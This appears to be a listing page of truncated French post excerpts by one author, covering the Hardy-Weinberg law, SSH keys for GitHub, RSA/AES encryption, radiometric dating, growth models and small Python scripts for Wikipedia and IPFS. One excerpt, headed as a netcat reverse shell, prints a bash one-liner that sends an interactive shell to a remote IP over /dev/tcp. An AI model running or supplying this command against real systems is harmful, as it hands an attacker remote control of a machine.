YannBouyeron

Démonstration Hardy Weimberg

Proposée en 1908 indépendamment par le mathématicien anglais Hardy et le médecin allemand Weinberg, la loi de Hardy-Weinberg se définit ainsi : dans une population de grand effectif, où les unions se font au hasard (= panmixie et pangamie), où il n’existe ni migration, ni sélection naturelle, et en l’absence de mutations, les fréquences des différents génotypes et les fréquences alléliques restent constantes d’une génération à l’autre.

On considère une population de très grande taille: N = 400 * 10⁹ considérée comme infinie, dans laquelle on s’intéresse à un gène (un couple d’allèles) avec 2 allèles différents dans la population: A et a.

Pour simplifier, on considère une espèce (diploïde) à fécondation externe (exemple des Echinodermes tels que les oursins), en l’absence d’accouplement, on évite ainsi de devoir tenir compte de la panmixie.

Dans cette population, la répartition des génotypes est la suivante:

YannBouyeron

REVERSE SHELL

Netcat reverse Shell

Console victime:

/bin/bash -i > /dev/tcp/192.168.43.92/4444 0<&1 2>&1

Console attacker:

YannBouyeron

import os
import sys
import time
import subprocess
	
__file__ = os.path.abspath(sys.argv[0])
	
__dir__ = os.path.dirname(__file__)
	
	

YannBouyeron

Activer l'authentification par SSH pour gérer vos repo github ou gist

Créer une paire de clés SSH:

ssh-keygen -t rsa

Récupérer votre clé public:

ls ~/.ssh
config id_rsa id_rsa.pub known_hosts

YannBouyeron

YannBouyeron

Chiffrement asymétrique (RSA) et symétrique (AES) avec PyCryptodome et Fernet

Installer les modules nécessaires

pip install pycryptodome

pip install cryptography

RSA: Encrypt / Decrypt

YannBouyeron

Datation absolue avec chrono.py

Principe de la datation absolue ou radio-chronologie

Télécharger chrono.py

Télécharger au format zip depuis Github

Télécharger avec git:

YannBouyeron

Croissance et décroissance.

Suite arithmétique et modèle linéaire.

En général, quand on observe l’évolution (déterministe) d’une quantité variant au cours du temps, on dispose de données discrètes , c’est a dire de valeurs relevées à intervalles de temps réguliers ou irréguliers.

Considérons que les données discrètes suivantes représentent l’évolution de la taille d’une plante en fonction du temps (le tout en unités arbitraires):

>>> import pandas as pd 

YannBouyeron

#!/usr/bin/env python3.6

import wikipedia
import argparse


def searcher(x):

    print("\n")
    print("="*30 + "   WIKIPEDIA   " + "="*30)

YannBouyeron

#!/usr/bin/env python3.6

import ipfshttpclient
import os
import glob
	
infura = ipfshttpclient.connect('/dns/ipfs.infura.io/tcp/5001/https', chunk_size=20000, session=True)
	
local = ipfshttpclient.connect('/ip4/127.0.0.1/tcp/5001/http', chunk_size=20000, session=True)